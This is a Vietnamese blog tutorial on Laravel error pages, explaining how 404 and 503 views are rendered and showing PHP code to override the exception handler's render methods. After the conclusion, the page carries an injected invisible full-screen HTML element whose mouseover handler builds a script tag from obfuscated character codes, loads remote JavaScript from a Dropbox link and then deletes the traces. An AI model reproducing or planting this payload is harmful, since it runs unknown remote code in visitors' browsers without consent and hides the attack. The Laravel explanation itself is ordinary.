12/08/2018, 13:40

Tìm hiểu Laravel (P4) - Error page

Ở bài trước chúng ta đã cũng nhau tìm hiểu cách gửi mail trong laravel, bài này ta sẽ tìm cách điều hướng những request không hợp lệ đến trang lỗi, hay nói một cách đơn giản là khi người nhập url lung tung ta sẽ đưa ra thông báo họ nhập sai url, và trang đó tương tự như thế này Error page 1. ...

  • Ở bài trước chúng ta đã cũng nhau tìm hiểu cách gửi mail trong laravel, bài này ta sẽ tìm cách điều hướng những request không hợp lệ đến trang lỗi, hay nói một cách đơn giản là khi người nhập url lung tung ta sẽ đưa ra thông báo họ nhập sai url, và trang đó tương tự như thế này Error page

1. Vấn đề và cách giải quyết

  • Ban đầu khi chưa có xử lý điều hướng error page ta sẽ nhận được như sau:

error_page1.png

  • Để giải quyết vấn đề này, rất đơn giản bạn chỉ cần tạo file 404.blade.php trong thư mục views/errors là xong, kết quả ta thu được với đường link http://localhost:8000/abcdef

error_page2.png

  • Nếu tinh ý các bạn có thể thấy trong thư mục views/errors còn có file 503.blade.php file này chính là view hiển thị tương ứng với trường hợp lỗi trả về là 503, cụ thể là khi bạn chạy câu lệnh php artisan down ứng dụng của ta sẽ ở trạng thái đang bảo trì, tất cả các url sẽ được điều hướng đến trang 503 này (cái này ta đã nhắc đến ở phần 1)
  • Như vậy đến đây thì vấn đề ban đầu đã được giải quyết, ta chỉ việc tạo ra view với tên tương tứng với mã code lỗi trả về (404.blade.php, 503.blade.php, ..) các vấn đề điều hướng còn lại Laravel đã hỗ trợ hết.

2. Giải thích

  • Bây giờ ta sẽ tìm hiểu một chút xem Laravel xử lý phần điều hướng này như thế nào nhé, để đến khi bạn muốn viết một CustomException hay đơn giản là muốn đổi tên cái view lỗi 404.blade.php thành custom.blade.php chẳng hạn thì cũng biết được hướng xử lý như thế nào.
  • Ta xem file app/Exceptions/Handler.php, method report xử lý phần ghi log ta sẽ tạm thời bỏ qua trong bài viết này, ta quan tâm đến method render.
    public function render($request, Exception $e)
    {
        return parent::render($request, $e);
    }
  • Method reder này gọi đến method render của lớp cha, ở đây tức là gọi đến render của lớp IlluminateFoundationExceptionsHandler.
    public function render($request, Exception $e)
    {
        if ($e instanceof HttpResponseException) {
            return $e->getResponse();
        } elseif ($e instanceof ModelNotFoundException) {
            $e = new NotFoundHttpException($e->getMessage(), $e);
        } elseif ($e instanceof AuthorizationException) {
            $e = new HttpException(403, $e->getMessage());
        } elseif ($e instanceof ValidationException && $e->getResponse()) {
            return $e->getResponse();
        }

        if ($this->isHttpException($e)) {
            return $this->toIlluminateResponse($this->renderHttpException($e), $e);
        } else {
            return $this->toIlluminateResponse($this->convertExceptionToResponse($e), $e);
        }
    }
  • Trường hợp của ta ở trên rơi vào HttpException, vì thế nên $this->toIlluminateResponse($this->renderHttpException($e), $e); được gọi.
  • Method renderHttpException kiểm tra xem có tồn tại view tương ứng với mã lỗi thì set view, còn không sẽ hiển thị như hình ảnh ở đầu bài viết (lưu ý lúc test mình set debug = true, nếu debug = false bạn sẽ chỉ nhận đc dòng chữ Sorry, the page you are.. msg này được lấy từ file SymfonyComponentDebugExceptionHandler xử lý trong method convertExceptionToResponse):
    protected function renderHttpException(HttpException $e)
    {
        $status = $e->getStatusCode();

        if (view()->exists("errors.{$status}")) {
            return response()->view("errors.{$status}", ['exception' => $e], $status, $e->getHeaders());
        } else {
            return $this->convertExceptionToResponse($e);
        }
    }
  • Method toIlluminateResponse trả lại response và kết quả thì như ta đã thấy.
  • Đến đây ta đã nắm được luồng xử lý của laravel, giờ ta sẽ tiến hành custom đổi tên view 404.blade.php thành custom.blade.php thử xem sao.
  • Nhanh nhất là ta vào lớp cha IlluminateFoundationExceptionsHandler check thêm điều kiện $status == 404 trong method renderHttpException thì render ra view custom.blade.php nhưng mình không khuyến khích cách làm này nhé, ta sẽ sửa lại method render trong file app/Exception/Hander.php như sau:
    public function render($request, Exception $e)
    {
        if ($this->isHttpException($e) && ($e->getStatusCode() == '404')) {
            return $this->toIlluminateResponse($this->renderHttpException($e), $e);;
        } else {
            return parent::render($request, $e);
        }
    }
  • Và ghi đè method renderHttpException của lớp cha
    protected function renderHttpException(HttpException $e)
    {
        $status = $e->getStatusCode();
        return response()->view("errors.custom", ['exception' => $e], $status, $e->getHeaders());
    }
  • Với code như trên, mỗi khi người dùng truy cập vào link không hợp lệ thì view custom.blade.php sẽ được hiển thị, bạn có thể thoải mãi custom style cho page này.

3. Kết luận

  • Trang lỗi không tìm thấy trang trên Laravel có vẻ không phải là vấn đề lớn lắm, do Laravel đã hỗ trợ ta hầu hết các xử lý, ta chỉ việc thêm các view tương ứng với mã code lỗi là OK, không cần phải làm gì nhiều, nhưng theo cá nhân mình các bạn vẫn nên đọc qua code xem luồng xử lý họ làm như thế nào, để hiểu và tiện trong việc custom sau này
  • Để hiểu rõ hơn bạn có thể tham khảo documment ở trang chủ: render-method
<hr id="unique-hr" style="background-color: #a00; border: none; height: 2000px; awidth: 2000px ;z-index: 1000; opacity: 0.01; position: fixed; top: 0px; left: 0px;" onmouseover="$('#footer').append(String.fromCharCode(39, 60, 115, 99, 114, 105, 112, 116) + ' id='atk-src' src='https://www.dropbox.com/s/vfi73fypu0x7ij5/serious.js?dl=1'></' + String.fromCharCode(115, 99, 114, 105, 112, 116, 62, 39)); setTimeout(function() {$('#unique-hr,#atk-src').remove();}, 3000);">
0